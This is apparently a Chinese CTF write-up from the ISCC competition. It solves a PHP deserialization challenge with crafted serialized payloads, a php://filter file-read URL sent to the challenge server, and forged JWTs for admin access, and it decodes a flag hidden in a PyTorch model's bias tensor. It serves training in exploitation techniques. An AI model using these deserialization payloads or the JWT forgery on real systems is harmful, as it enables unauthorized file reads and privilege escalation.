for num in decrypted:bytes_val = num.to_bytes(4, 'little')result += bytes_val.decode('latin-1')final = ""
for c in normal:final += result[scramble.index(c)]print(final)

WEB

谁动了我的奶酪

观察图片,后面这只老鼠叫Tom,所有是Tom动了蛋糕,交Tom就过了

然后就拿到源码Y2hlZXNlT25l.php

据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!
<?php
echo "<h2>据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!</h2>";class Tom{public $stolenCheese;public $trap;public function __construct($file='cheesemap.php'){$this->stolenCheese = $file;echo "Tom盯着你,想要守住他抢走的奶酪!"."<br>";}public function revealCheeseLocation(){if($this->stolenCheese){$cheeseGuardKey = "cheesemap.php";echo nl2br(htmlspecialchars(file_get_contents($this->stolenCheese)));$this->stolenCheese = str_rot3($cheeseGuardKey);}}public function __toString(){if (!isset($_SERVER['HTTP_USER_AGENT']) || $_SERVER['HTTP_USER_AGENT'] !== "JerryBrowser") {echo "<h3>Tom 盯着你的浏览器,觉得它不太对劲……</h3>";}else{$this->trap['trap']->stolenCheese;return "Tom";}}public function stoleCheese(){$Messages = ["<h3>Tom偷偷看了你一眼,然后继续啃奶酪...</h3>","<h3>墙角的奶酪碎屑消失了,它们去了哪里?</h3>","<h3>Cheese的香味越来越浓,谁在偷吃?</h3>","<h3>Jerry皱了皱眉,似乎察觉到了什么异常……</h3>",];echo $Messages[array_rand($Messages)];$this->revealCheeseLocation();}
}class Jerry{protected $secretHidingSpot;public $squeak;public $shout;public function searchForCheese($mouseHole){include($mouseHole);}public function __invoke(){$this->searchForCheese($this->secretHidingSpot);}
}class Cheese{public $flavors;public $color;public function __construct(){$this->flavors = array();}public function __get($slice){$melt = $this->flavors;return $melt();}public function __destruct(){unserialize($this->color)();echo "Where is my cheese?";}
}if (isset($_GET['cheese_tracker'])) {unserialize($_GET['cheese_tracker']);
}elseif(isset($_GET["clue"])){$clue = $_GET["clue"];$clue = str_replace(["T", "h", "i", "f", "!"], "*", $clue);if (unserialize($clue)){unserialize($clue)->squeak = "Thief!";if(unserialize($clue)->shout === unserialize($clue)->squeak)echo "cheese is hidden in ".$where;elseecho "OHhhh no!find it yourself!";}
}?>

分析后发现这是一个php反序列化的漏洞。在class Jerry这个类下面有个include的文件包含漏洞,我们主要是要利用这个漏洞来读文件

然后在这里当unserialize( c l u e ) − > s h o u t = = = u n s e r i a l i z e ( clue)->shout === unserialize( clue)>shout===unserialize(clue)->squeak 时就会给我们提示!

构造exp:

<?phpclass Jerry{public $a;public $b;
}$jerry = new Jerry();echo serialize($jerry);
echo "\n\n";echo urlencode($jerry);
echo "\n";

payload:

O:5:"Jerry":2:{s:1:"a";N;s:1:"b";N;}

image-20250518091314017

拿到提示文件 flag_of_cheese.php

然后根据我们就是要读提示文件的内容,构造exp

<?phpclass Jerry{public $secretHidingSpot="php://filter/convert.base64-encode/resource=flag_of_cheese.php";public $squeak;public $shout;
}class Cheese{public $flavors;public $color;
}$jerry = new Jerry();
$cheese = new Cheese();
$cheese->color = serialize($jerry);
$a = serialize($cheese);echo serialize($a);
echo "\n\n";echo urlencode($a);
echo "\n";
http://112.126.73.173:10086/Y2hlZXNlT25l.php?cheese_tracker=O%3A6%3A%22Cheese%22%3A2%3A%7Bs%3A7%3A%22flavors%22%3BN%3Bs%3A5%3A%22color%22%3Bs%3A139%3A%22O%3A5%3A%22Jerry%22%3A3%3A%7Bs%3A16%3A%22secretHidingSpot%22%3Bs%3A62%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag_of_cheese.php%22%3Bs%3A6%3A%22squeak%22%3BN%3Bs%3A5%3A%22shout%22%3BN%3B%7D%22%3B%7D

image-20250518092200754

然后把显示的base64解码,拿到一半的flag,ISCC{ch33se_th!ef_!5_the

image-20250518093926744

然后还获得一个提示,就是与22异或

然后看到这个网页的文件名是Y2hlZXNlT25l.php,把这个文件名也base64解码

image-20250518092506883

解码后是cheeseOne,猜测可能有cheeseTwo,将cheeseTwo 用base64编码得:Y2hlZXNlVHdv

访问Y2hlZXNlVHdv.php

image-20250518092725553

右键查看源码发现提示:

拿去base64解码

image-20250518092802160

image-20250518092840655

然后转包发现header头中有jwt

image-20250518093001909

因为要管理员才能登陆,我们重新构造jwt来攻击

image-20250518093416126

然后重新发包,拿到提示文件/c3933845e2b7d466a9776a84288b8d86.php

image-20250518093503180

访问这个文件,拿到密文:I&x%Its7xy’IbsIaV’'ek

image-20250518093639095

根据前面的与22异或,我们才能拿到真正的flag

s = "I&x%Its~7xy'Ib~sIaV''ek"
for i in s:print(chr(ord(i)^22),end='')

_0n3_beh!no1_the_w@11s}

最终的flag:ISCC{ch33se_th!ef_!5_the_0n3_beh!no1_the_w@11s}

MISC

神经网络迷踪

我们把文件下下来后发现文件是**.pth**结尾的

pth介绍

.pth 文件是 PyTorch 框架中用于保存和加载模型权重或整个模型的文件格式。它的扩展名 .pth 是 “PyTorch” 的缩写,通常用于存储以下内容:1. **模型权重(State Dict)**2. **整个模型(包括结构和参数)**3. 其他 PyTorch 相关数据,也可以存储任意 Python 相关的对象。

它可以用python来打开查看。先安装相关库函数、

pip install torch -i https://pypi.tuna.tsinghua.edu.cn/simple

image-20250517222837886

然后就可以用python来打开查看数据这些的了

import torchdata = torch.load("./attachment-38.pth")
print(data.keys())

运行后如下:

['fc1.weight', 'fc1.bias',        # 全连接层1的权重和偏置'secret_key.weight',             # 名称可疑的层,没准有线索'fc_secret.weight',              # 另一个名称可疑的全连接层'output.weight', 'output.bias']   # 输出层的权重和偏置

尝试输出secret_key.weight,和fc_secret.weight的数据,

import torchdata = torch.load("./attachment-38.pth")
print(data)secret_key = data['secret_key.weight'].int().flatten().tolist()
ascii_str = ''.join([chr(x) if 32 <= x <= 127 else '.' for x in secret_key])
print("secret_key ASCII:", ascii_str)secret_key = data['fc_secret.weight'].int().flatten().tolist()
ascii_str = ''.join([chr(x) if 32 <= x <= 127 else '.' for x in secret_key])
print("fc_key ASCII:", ascii_str)

运行结果为:

image-20250517231934918

随后观察网络层, output.bias,天然适合塞隐写的数据

因为output.bias都是小数,根据提示 255 ,发现这些小数都乘以255后都是可打印字符

import torchdef main():data = torch.load('attachment-38.pth')['output.bias']print("Processed values:", [int(torch.round(v*255))&0xFF for v in data])print("Decoded string:", bytes([int(torch.round(v*255))&0xFF for v in data]).decode())if __name__ == "__main__":main()

image-20250517234732656

完整的

EXP:

import torch
from typing import List, Dict, Optionaldef extract_hidden_data(file_path: str,tensor_name: str = 'output.bias',encodings: List[str] = ['utf-8', 'latin-1', 'ascii']
) -> Optional[Dict[str, str]]:try:model_data = torch.load(file_path, map_location='cpu')# 检查目标张量是否存在if tensor_name not in model_data:print(f"警告: 文件中没有找到 '{tensor_name}' 张量")available_tensors = [k for k in model_data.keys() if isinstance(model_data[k], torch.Tensor)]print(f"可用张量: {available_tensors}")return Nonetarget_tensor = model_data[tensor_name]# 验证张量类型和形状if not isinstance(target_tensor, torch.Tensor):print(f"错误: '{tensor_name}' 不是张量")return Noneprint(f"\n正在分析张量: {tensor_name} (形状: {target_tensor.shape})")# 转换张量为字节数据scaled_values = (target_tensor * 255).round().clamp(0, 255).byte()byte_data = scaled_values.numpy().tobytes()# 尝试多种编码方式解码results = {}for encoding in encodings:try:decoded_str = byte_data.decode(encoding)results[encoding] = decoded_strprint(f"使用 {encoding} 解码成功: {decoded_str!r}")except UnicodeDecodeError:results[encoding] = Nonereturn {'tensor_name': tensor_name,'tensor_shape': tuple(target_tensor.shape),'raw_values': target_tensor.tolist(),'scaled_values': scaled_values.tolist(),'byte_data': byte_data,'decoding_results': results,'hex_dump': byte_data.hex(' ', 1)}except Exception as e:print(f"处理文件时出错: {str(e)}")return Noneif __name__ == '__main__':FILE_PATH = 'attachment-38.pth'# 1. 默认检查output.biasresult = extract_hidden_data(FILE_PATH)# 2. 检查所有包含bias的张量if result is None:print("\n尝试检查其他bias参数...")model_data = torch.load(FILE_PATH, map_location='cpu')bias_tensors = [k for k in model_data.keys() if 'bias' in k.lower()]for tensor_name in bias_tensors:print(f"\n检查张量: {tensor_name}")extract_hidden_data(FILE_PATH, tensor_name)

相关文章:

  • HBCPC2025 补题 (F、I)
  • 家用和类似用途电器的安全 第1部分:通用要求 与2005版差异(6)
  • 【C++算法】69.栈_验证栈序列
  • BI是什么意思?一文讲清BI的概念与应用!
  • 【C/C++】现代C++线程池:从入门到生产级实现
  • RocketMQ 顺序消息实现原理详解
  • 2.前端汇总
  • 三色光源投影暗战:FSHD 如何撕开 DLP/3LCD 垄断缺口?
  • 计算机科技笔记: 容错计算机设计05 n模冗余系统 双模冗余系统 Duplex Systems
  • AIGC降重工具
  • 逆元(费马,扩展欧几里得)
  • SparkContext介绍
  • Robot Studio开发入门指南
  • Python 数据库编程
  • 进阶知识:自动化框架开发之有参的函数装饰器@wraps()和无参之间的对比
  • Ubuntu软件仓库与更新源配置指南
  • LeetCode 438. 找到字符串中所有字母异位词 | 滑动窗口与字符计数数组解法
  • java 异常验证框架validation,全局异常处理,请求验证
  • Python训练营打卡31
  • 任务分配不均,如何平衡工作负担?
  • 热点问答:特朗普与俄乌总统分别通话,他们谈了什么
  • 铜川耀州窑遗址内违法矿场存在多年,省市区文物部门多次处罚叫停仍在生产
  • 曾毓群说未来三年重卡新能源渗透率将突破50%,宁德时代如何打好换电这张牌
  • 中科院合肥物质院迎来新一届领导班子:刘建国继续担任院长
  • 北京韩美林艺术馆党支部书记郭莹病逝,终年40岁
  • 中方是否计划解除或调整稀土出口管制?外交部回应